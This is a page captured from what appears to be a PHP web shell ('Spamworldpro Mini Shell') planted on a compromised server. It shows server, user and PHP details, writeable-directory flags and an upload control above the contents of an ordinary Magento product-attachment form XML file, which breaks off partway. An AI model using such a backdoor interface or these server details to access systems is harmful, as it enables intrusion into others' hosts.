Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/amasty/product-attachment/view/adminhtml/ui_component/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/amasty/product-attachment/view/adminhtml/ui_component/product_form.xml
<form xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Ui:etc/ui_configuration.xsd">
    <fieldset name="attachments">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="label" xsi:type="string">Product Attachments</item>
                <item name="additionalClasses" xsi:type="string">admin__fieldset-section</item>
                <item name="collapsible" xsi:type="boolean">true</item>
                <item name="opened" xsi:type="boolean">false</item>
            </item>
        </argument>
        <!-- Dynamic rows -->
        <container name="files">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="additionalClasses" xsi:type="string">admin__field-wide amasty-file-rows amasty-dynamic-rows</item>
                    <item name="componentType" xsi:type="string">dynamicRows</item>
                    <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/dynamic-rows-grid</item>
                    <item name="template" xsi:type="string">ui/dynamic-rows/templates/grid</item>
                    <item name="recordTemplate" xsi:type="string">record</item>
                    <item name="addButton" xsi:type="boolean">false</item>
                    <item name="columnsHeader" xsi:type="boolean">false</item>
                    <item name="columnsHeaderAfterRender" xsi:type="boolean">true</item>
                    <item name="renderDefaultRecord" xsi:type="boolean">false</item>
                    <item name="deleteButtonLabel" xsi:type="string" translate="true">Remove</item>
                    <item name="dataScope" xsi:type="string">data.attachments</item>
                    <item name="identificationProperty" xsi:type="string">file_id</item>
                    <item name="identificationDRProperty" xsi:type="string">file_id</item>
                    <item name="dataProvider" xsi:type="string">data.files</item>
                    <item name="map" xsi:type="array">
                        <item name="show_file_id" xsi:type="string">show_file_id</item>
                        <item name="file_id" xsi:type="string">file_id</item>
                        <item name="icon" xsi:type="string">icon_src</item>
                        <item name="filename" xsi:type="string">filename</item>
                        <item name="extension" xsi:type="string">extension</item>
                        <item name="label" xsi:type="string">label</item>
                        <item name="customer_groups" xsi:type="string">customer_groups</item>
                        <item name="include_in_order" xsi:type="string">include_in_order</item>
                        <item name="is_visible" xsi:type="string">is_visible</item>
                        <item name="filename_use_defaults" xsi:type="string">filename_use_defaults</item>
                        <item name="label_use_defaults" xsi:type="string">label_use_defaults</item>
                        <item name="include_in_order_use_defaults" xsi:type="string">include_in_order_use_defaults</item>
                        <item name="customer_groups_use_defaults" xsi:type="string">customer_groups_use_defaults</item>
                        <item name="is_visible_use_defaults" xsi:type="string">is_visible_use_defaults</item>
                        <item name="not_removable" xsi:type="string">not_removable</item>
                        <item name="file" xsi:type="string">file</item>
                        <item name="link" xsi:type="string">link</item>
                    </item>
                    <item name="links" xsi:type="array">
                        <item name="insertData" xsi:type="string">${ $.provider }:${ $.dataProvider }</item>
                    </item>
                    <item name="dndConfig" xsi:type="array">
                        <item name="enabled" xsi:type="boolean">true</item>
                    </item>
                </item>
            </argument>
            <container name="record">
                <argument name="data" xsi:type="array">
                    <item name="config" xsi:type="array">
                        <item name="component" xsi:type="string">Magento_Ui/js/dynamic-rows/record</item>
                        <item name="isTemplate" xsi:type="boolean">true</item>
                        <item name="is_collection" xsi:type="boolean">true</item>
                    </item>
                </argument>
                <field name="show_file_id">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="elementTmpl" xsi:type="string">ui/dynamic-rows/cells/text</item>
                            <item name="component" xsi:type="string">Magento_Ui/js/form/element/text</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">show_file_id</item>
                            <item name="label" xsi:type="string" translate="true">FileId</item>
                            <item name="sortOrder" xsi:type="string">10</item>
                        </item>
                    </argument>
                </field>
                <field name="icon">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="elementTmpl" xsi:type="string">ui/dynamic-rows/cells/thumbnail</item>
                            <item name="component" xsi:type="string">Magento_Ui/js/form/element/text</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">icon</item>
                            <item name="label" xsi:type="string" translate="true">Icon</item>
                            <item name="sortOrder" xsi:type="string">20</item>
                        </item>
                    </argument>
                </field>
                <field name="filename">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">false</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">filename</item>
                            <item name="label" xsi:type="string" translate="true">File Name</item>
                            <item name="sortOrder" xsi:type="string">30</item>
                            <item name="validation" xsi:type="array">
                                <item name="required-entry" xsi:type="boolean">true</item>
                            </item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/input</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <field name="extension">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="elementTmpl" xsi:type="string">ui/dynamic-rows/cells/text</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">extension</item>
                            <item name="label" xsi:type="string" translate="true">Extension</item>
                            <item name="sortOrder" xsi:type="string">35</item>
                        </item>
                    </argument>
                </field>
                <field name="label">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">false</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">label</item>
                            <item name="label" xsi:type="string" translate="true">Label</item>
                            <item name="validation" xsi:type="array">
                                <item name="required-entry" xsi:type="boolean">true</item>
                            </item>
                            <item name="sortOrder" xsi:type="string">40</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/input</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <field name="customer_groups">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">multiselect</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/multiselect</item>
                            <item name="dataType" xsi:type="string">multiselect</item>
                            <item name="dataScope" xsi:type="string">customer_groups</item>
                            <item name="size" xsi:type="string">4</item>
                            <item name="label" xsi:type="string" translate="true">Customer Groups</item>
                            <item name="sortOrder" xsi:type="string">45</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                        <item name="options" xsi:type="object">Amasty\ProductAttachment\Model\SourceOptions\CustomerGroup</item>
                    </argument>
                </field>
                <field name="include_in_order">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/single-checkbox</item>
                            <item name="dataType" xsi:type="string">boolean</item>
                            <item name="prefer" xsi:type="string">toggle</item>
                            <item name="valueMap" xsi:type="array">
                                <item name="true" xsi:type="number">1</item>
                                <item name="false" xsi:type="number">0</item>
                            </item>
                            <item name="dataScope" xsi:type="string">include_in_order</item>
                            <item name="label" xsi:type="string" translate="true">Include In Order</item>
                            <item name="sortOrder" xsi:type="string">50</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <field name="is_visible">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/single-checkbox</item>
                            <item name="dataType" xsi:type="string">boolean</item>
                            <item name="prefer" xsi:type="string">toggle</item>
                            <item name="dataScope" xsi:type="string">is_visible</item>
                            <item name="valueMap" xsi:type="array">
                                <item name="true" xsi:type="number">1</item>
                                <item name="false" xsi:type="number">0</item>
                            </item>
                            <item name="label" xsi:type="string" translate="true">Visible</item>
                            <item name="sortOrder" xsi:type="string">60</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <actionDelete>
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="additionalClasses" xsi:type="string">data-grid-actions-cell</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/delete-action</item>
                            <item name="template" xsi:type="string">Amasty_ProductAttachment/dynamic-rows/cells/delete-action</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="label" xsi:type="string" translate="true">Actions</item>
                            <item name="sortOrder" xsi:type="string">99</item>
                        </item>
                    </argument>
                </actionDelete>
                <field name="position">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">number</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">position</item>
                            <item name="sortOrder" xsi:type="string">999</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
                <field name="file_id">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">number</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">file_id</item>
                            <item name="sortOrder" xsi:type="string">998</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
                <field name="file">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">file</item>
                            <item name="sortOrder" xsi:type="string">997</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
                <field name="link">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">link</item>
                            <item name="sortOrder" xsi:type="number">996</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
            </container>
        </container>
        <!-- end Dynamic rows -->
        <container name="add_existing">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="label" xsi:type="boolean">false</item>
                    <item name="formElement" xsi:type="string">container</item>
                    <item name="componentType" xsi:type="string">container</item>
                    <item name="sortOrder" xsi:type="string">1000</item>
                    <item name="component" xsi:type="string">Magento_Ui/js/form/components/button</item>
                    <item name="title" xsi:type="string" translate="true">Add Existing Attachments</item>
                    <item name="actions" xsi:type="array">
                        <item name="0" xsi:type="array">
                            <item name="targetName" xsi:type="string">product_form.product_form.attachments.modal</item>
                            <item name="actionName" xsi:type="string">toggleModal</item>
                        </item>
                        <item name="1" xsi:type="array">
                            <item name="targetName" xsi:type="string">index = files_grid</item>
                            <item name="actionName" xsi:type="string">render</item>
                        </item>
                    </item>
                </item>
            </argument>
        </container>
        <container name="add_new">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="label" xsi:type="boolean">false</item>
                    <item name="formElement" xsi:type="string">container</item>
                    <item name="componentType" xsi:type="string">container</item>
                    <item name="sortOrder" xsi:type="string">1100</item>
                    <item name="component" xsi:type="string">Magento_Ui/js/form/components/button</item>
                    <item name="title" xsi:type="string" translate="true">Add New Files</item>
                    <item name="actions" xsi:type="array">
                        <item name="0" xsi:type="array">
                            <item name="targetName" xsi:type="string">product_form.product_form.attachments.file</item>
                            <item name="actionName" xsi:type="string">open</item>
                        </item>
                    </item>
                </item>
            </argument>
        </container>
        <container name="add_new_links">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="label" xsi:type="boolean">false</item>
                    <item name="formElement" xsi:type="string">container</item>
                    <item name="componentType" xsi:type="string">container</item>
                    <item name="sortOrder" xsi:type="string">1200</item>
                    <item name="component" xsi:type="string">Magento_Ui/js/form/components/button</item>
                    <item name="title" xsi:type="string" translate="true">Add New Links</item>
                    <item name="actions" xsi:type="array">
                        <item name="0" xsi:type="array">
                            <item name="targetName" xsi:type="string">product_form.product_form.attachments.addlinksmodal</item>
                            <item name="actionName" xsi:type="string">toggleModal</item>
                        </item>
                    </item>
                </item>
            </argument>
        </container>
        <field name="file">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="visible" xsi:type="boolean">false</item>
                    <item name="label" xsi:type="string">File</item>
                    <item name="formElement" xsi:type="string">fileUploader</item>
                    <item name="isMultipleFiles" xsi:type="boolean">true</item>
                    <item name="component" xsi:type="string">Amasty_ProductAttachment/js/form/element/file-uploader-simple</item>
                    <item name="previewTmpl" xsi:type="string">Amasty_ProductAttachment/form/element/uploader/preview</item>
                    <item name="dataScope" xsi:type="string">productattachments.file</item>
                    <item name="source" xsi:type="string">file</item>
                    <item name="uploaderConfig" xsi:type="array">
                        <item name="url" xsi:type="url" path="amfile/file_uploader/upload"/>
                    </item>
                </item>
            </argument>
        </field>
        <container name="modal">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="componentType" xsi:type="string">modal</item>
                    <item name="component" xsi:type="string">Magento_Ui/js/modal/modal-component</item>
                    <item name="options" xsi:type="array">
                        <item name="type" xsi:type="string">slide</item>
                        <item name="title" xsi:type="string" translate="true">Add Attachments</item>
                        <item name="buttons" xsi:type="array">
                            <item name="0" xsi:type="array">
                                <item name="text" xsi:type="string" translate="true">Cancel</item>
                                <item name="actions" xsi:type="array">
                                    <item name="0" xsi:type="string">closeModal</item>
                                </item>
                            </item>
                            <item name="1" xsi:type="array">
                                <item name="text" xsi:type="string" translate="true">Add Selected Attachments</item>
                                <item name="class" xsi:type="string">action-primary</item>
                                <item name="actions" xsi:type="array">
                                    <item name="0" xsi:type="array">
                                        <item name="targetName" xsi:type="string">index = files_grid</item>
                                        <item name="actionName" xsi:type="string">save</item>
                                    </item>
                                    <item name="1" xsi:type="string">closeModal</item>
                                </item>
                            </item>
                        </item>
                    </item>
                </item>
            </argument>
            <insertListing name="files_grid">
                <argument name="data" xsi:type="array">
                    <item name="config" xsi:type="array">
                        <!--Avoid admin__scope-old cssclass assign -->
                        <item name="cssclass" xsi:type="string">files-grid-insert-listing</item>
                        <item name="dataScope" xsi:type="string">data.files</item>
                        <item name="autoRender" xsi:type="boolean">false</item>
                        <item name="selectionsProvider" xsi:type="string">amfile_file_insert_listing.amfile_file_insert_listing.amfile_file_columns.ids</item>
                        <item name="externalProvider" xsi:type="string">amfile_file_insert_listing.amfile_file_insert_listing_data_source</item>
                        <item name="ns" xsi:type="string">amfile_file_insert_listing</item>
                        <item name="realTimeLink" xsi:type="boolean">true</item>
                        <item name="behaviourType" xsi:type="string">simple</item>
                        <item name="imports" xsi:type="array">
                            <item name="storeId" xsi:type="string">${ $.provider }:data.product.current_store_id</item>
                        </item>
                        <item name="exports" xsi:type="array">
                            <item name="storeId" xsi:type="string">${ $.externalProvider }:params.store_id</item>
                        </item>
                        <item name="dataLinks" xsi:type="array">
                            <item name="imports" xsi:type="boolean">false</item>
                            <item name="exports" xsi:type="boolean">true</item>
                        </item>
                        <item name="externalFilterMode" xsi:type="boolean">true</item>
                    </item>
                </argument>
            </insertListing>
        </container>
        <container name="addlinksmodal">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="componentType" xsi:type="string">modal</item>
                    <item name="component" xsi:type="string">Magento_Ui/js/modal/modal-component</item>
                    <item name="options" xsi:type="array">
                        <item name="type" xsi:type="string">slide</item>
                        <item name="title" xsi:type="string" translate="true">Add New Links</item>
                        <item name="buttons" xsi:type="array">
                            <item name="0" xsi:type="array">
                                <item name="text" xsi:type="string" translate="true">Cancel</item>
                                <item name="actions" xsi:type="array">
                                    <item name="0" xsi:type="string">closeModal</item>
                                </item>
                            </item>
                            <item name="1" xsi:type="array">
                                <item name="text" xsi:type="string" translate="true">Add Links</item>
                                <item name="class" xsi:type="string">action-primary</item>
                                <item name="actions" xsi:type="array">
                                    <item name="0" xsi:type="array">
                                        <item name="targetName" xsi:type="string">index = new_links_grid</item>
                                        <item name="actionName" xsi:type="string">saveLinks</item>
                                    </item>
                                    <item name="1" xsi:type="string">closeModal</item>
                                </item>
                            </item>
                        </item>
                    </item>
                </item>
            </argument>
            <container name="new_links_grid">
                <argument name="data" xsi:type="array">
                    <item name="config" xsi:type="array">
                        <item name="additionalClasses" xsi:type="string">admin__field-wide amasty-dynamic-rows</item>
                        <item name="componentType" xsi:type="string">dynamicRows</item>
                        <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/links-dynamic-rows</item>
                        <item name="template" xsi:type="string">ui/dynamic-rows/templates/default</item>
                        <item name="recordTemplate" xsi:type="string">record</item>
                        <item name="itemTemplate" xsi:type="string">record</item>
                        <item name="dataScope" xsi:type="string">data</item>
                        <item name="addButton" xsi:type="boolean">true</item>
                        <item name="addButtonLabel" xsi:type="string" translate="true">Add Links</item>
                        <item name="columnsHeader" xsi:type="boolean">true</item>
                        <item name="renderDefaultRecord" xsi:type="boolean">true</item>
                        <item name="deleteButtonLabel" xsi:type="string" translate="true">Remove Link</item>
                        <item name="identificationProperty" xsi:type="string">id</item>
                        <item name="dndConfig" xsi:type="array">
                            <item name="enabled" xsi:type="boolean">false</item>
                        </item>
                    </item>
                </argument>
                <container name="record">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="component" xsi:type="string">Magento_Ui/js/dynamic-rows/record</item>
                            <item name="isTemplate" xsi:type="boolean">true</item>
                            <item name="dataScope" xsi:type="string"/>
                            <item name="positionProvider" xsi:type="string">position</item>
                            <item name="is_collection" xsi:type="boolean">true</item>
                        </item>
                    </argument>
                    <field name="link">
                        <argument name="data" xsi:type="array">
                            <item name="config" xsi:type="array">
                                <item name="label" xsi:type="string" translate="true">Link</item>
                                <item name="fit" xsi:type="boolean">false</item>
                                <item name="formElement" xsi:type="string">input</item>
                                <item name="elementTmpl" xsi:type="string">ui/form/element/input</item>
                                <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/link-attachment</item>
                                <item name="validationUrl" xsi:type="url" path="amfile/file/checker"/>
                                <item name="validation" xsi:type="array">
                                    <item name="required-entry" xsi:type="boolean">true</item>
                                    <item name="validate-url" xsi:type="boolean">true</item>
                                </item>
                                <item name="dataType" xsi:type="string">text</item>
                                <item name="sortOrder" xsi:type="string">20</item>
                            </item>
                        </argument>
                    </field>
                    <actionDelete>
                        <argument name="data" xsi:type="array">
                            <item name="config" xsi:type="array">
                                <item name="fit" xsi:type="boolean">true</item>
                                <item name="additionalClasses" xsi:type="string">data-grid-actions-cell</item>
                                <item name="componentType" xsi:type="string">actionDelete</item>
                                <item name="elementTmpl" xsi:type="string">ui/dynamic-rows/cells/text</item>
                                <item name="dataType" xsi:type="string">text</item>
                                <item name="label" xsi:type="string" translate="true">Actions</item>
                                <item name="sortOrder" xsi:type="string">60</item>
                            </item>
                        </argument>
                    </actionDelete>
                </container>
            </container>
        </container>
    </fieldset>
    <fieldset name="categories_attachments">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="label" xsi:type="string">Product Categories Attachments</item>
                <item name="additionalClasses" xsi:type="string">admin__fieldset-section</item>
                <item name="collapsible" xsi:type="boolean">true</item>
                <item name="opened" xsi:type="boolean">false</item>
            </item>
        </argument>
        <!-- Dynamic rows -->
        <container name="categories_files">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="additionalClasses" xsi:type="string">admin__field-wide amasty-file-rows amasty-dynamic-rows</item>
                    <item name="componentType" xsi:type="string">dynamicRows</item>
                    <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/dynamic-rows-grid</item>
                    <item name="template" xsi:type="string">ui/dynamic-rows/templates/grid</item>
                    <item name="recordTemplate" xsi:type="string">record</item>
                    <item name="addButton" xsi:type="boolean">false</item>
                    <item name="columnsHeader" xsi:type="boolean">false</item>
                    <item name="columnsHeaderAfterRender" xsi:type="boolean">true</item>
                    <item name="renderDefaultRecord" xsi:type="boolean">false</item>
                    <item name="deleteButton" xsi:type="boolean">false</item>
                    <item name="dataScope" xsi:type="string">data.categories_attachments</item>
                    <item name="identificationProperty" xsi:type="string">file_id</item>
                    <item name="identificationDRProperty" xsi:type="string">file_id</item>
                    <item name="dataProvider" xsi:type="string">data.categories_files</item>
                    <item name="map" xsi:type="array">
                        <item name="show_file_id" xsi:type="string">show_file_id</item>
                        <item name="file_id" xsi:type="string">file_id</item>
                        <item name="icon" xsi:type="string">icon_src</item>
                        <item name="filename" xsi:type="string">filename</item>
                        <item name="extension" xsi:type="string">extension</item>
                        <item name="label" xsi:type="string">label</item>
                        <item name="customer_groups" xsi:type="string">customer_groups</item>
                        <item name="include_in_order" xsi:type="string">include_in_order</item>
                        <item name="is_visible" xsi:type="string">is_visible</item>
                        <item name="filename_use_defaults" xsi:type="string">filename_use_defaults</item>
                        <item name="label_use_defaults" xsi:type="string">label_use_defaults</item>
                        <item name="include_in_order_use_defaults" xsi:type="string">include_in_order_use_defaults</item>
                        <item name="customer_groups_use_defaults" xsi:type="string">customer_groups_use_defaults</item>
                        <item name="is_visible_use_defaults" xsi:type="string">is_visible_use_defaults</item>
                        <item name="not_removable" xsi:type="string">not_removable</item>
                        <item name="file" xsi:type="string">file</item>
                        <item name="category_id" xsi:type="string">category_id</item>
                    </item>
                    <item name="dndConfig" xsi:type="array">
                        <item name="enabled" xsi:type="boolean">true</item>
                    </item>
                </item>
            </argument>
            <container name="record">
                <argument name="data" xsi:type="array">
                    <item name="config" xsi:type="array">
                        <item name="component" xsi:type="string">Magento_Ui/js/dynamic-rows/record</item>
                        <item name="isTemplate" xsi:type="boolean">true</item>
                        <item name="is_collection" xsi:type="boolean">true</item>
                    </item>
                </argument>
                <field name="show_file_id">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="elementTmpl" xsi:type="string">ui/dynamic-rows/cells/text</item>
                            <item name="component" xsi:type="string">Magento_Ui/js/form/element/text</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">show_file_id</item>
                            <item name="label" xsi:type="string" translate="true">File Id</item>
                            <item name="sortOrder" xsi:type="string">10</item>
                        </item>
                    </argument>
                </field>
                <field name="icon">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="elementTmpl" xsi:type="string">ui/dynamic-rows/cells/thumbnail</item>
                            <item name="component" xsi:type="string">Magento_Ui/js/form/element/text</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">icon</item>
                            <item name="label" xsi:type="string" translate="true">Icon</item>
                            <item name="sortOrder" xsi:type="string">20</item>
                        </item>
                    </argument>
                </field>
                <field name="filename">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">false</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">filename</item>
                            <item name="label" xsi:type="string" translate="true">Attachment Name</item>
                            <item name="sortOrder" xsi:type="string">30</item>
                            <item name="validation" xsi:type="array">
                                <item name="required-entry" xsi:type="boolean">true</item>
                            </item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/input</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <field name="extension">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="elementTmpl" xsi:type="string">ui/dynamic-rows/cells/text</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">extension</item>
                            <item name="label" xsi:type="string" translate="true">Extension</item>
                            <item name="sortOrder" xsi:type="string">35</item>
                        </item>
                    </argument>
                </field>
                <field name="label">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">false</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="dataType" xsi:type="string">text</item>
                            <item name="dataScope" xsi:type="string">label</item>
                            <item name="label" xsi:type="string" translate="true">File Label</item>
                            <item name="validation" xsi:type="array">
                                <item name="required-entry" xsi:type="boolean">true</item>
                            </item>
                            <item name="sortOrder" xsi:type="string">40</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/input</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <field name="customer_groups">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">multiselect</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/multiselect</item>
                            <item name="dataType" xsi:type="string">multiselect</item>
                            <item name="dataScope" xsi:type="string">customer_groups</item>
                            <item name="size" xsi:type="string">4</item>
                            <item name="label" xsi:type="string" translate="true">Customer Groups</item>
                            <item name="sortOrder" xsi:type="string">45</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                        <item name="options" xsi:type="object">Amasty\ProductAttachment\Model\SourceOptions\CustomerGroup</item>
                    </argument>
                </field>
                <field name="include_in_order">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/single-checkbox</item>
                            <item name="dataType" xsi:type="string">boolean</item>
                            <item name="prefer" xsi:type="string">toggle</item>
                            <item name="valueMap" xsi:type="array">
                                <item name="true" xsi:type="number">1</item>
                                <item name="false" xsi:type="number">0</item>
                            </item>
                            <item name="dataScope" xsi:type="string">include_in_order</item>
                            <item name="label" xsi:type="string" translate="true">Include In Order</item>
                            <item name="sortOrder" xsi:type="string">50</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <field name="is_visible">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="fit" xsi:type="boolean">true</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="component" xsi:type="string">Amasty_ProductAttachment/js/dynamic-rows/element/single-checkbox</item>
                            <item name="dataType" xsi:type="string">boolean</item>
                            <item name="prefer" xsi:type="string">toggle</item>
                            <item name="dataScope" xsi:type="string">is_visible</item>
                            <item name="valueMap" xsi:type="array">
                                <item name="true" xsi:type="number">1</item>
                                <item name="false" xsi:type="number">0</item>
                            </item>
                            <item name="label" xsi:type="string" translate="true">Visible</item>
                            <item name="sortOrder" xsi:type="string">60</item>
                            <item name="service" xsi:type="array">
                                <item name="template" xsi:type="string">Amasty_ProductAttachment/form/element/helper/service</item>
                            </item>
                        </item>
                    </argument>
                </field>
                <field name="position">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">number</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">position</item>
                            <item name="sortOrder" xsi:type="string">999</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
                <field name="file_id">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">number</item>
                            <item name="formElement" xsi:type="string">input</item>
                            <item name="componentType" xsi:type="string">field</item>
                            <item name="dataScope" xsi:type="string">file_id</item>
                            <item name="sortOrder" xsi:type="string">998</item>
                            <item name="visible" xsi:type="boolean">false</item>
                        </item>
                    </argument>
                </field>
                <field name="file">
                    <argument name="data" xsi:type="array">
                        <item name="config" xsi:type="array">
                            <item name="dataType" xsi:type="string">text</item>
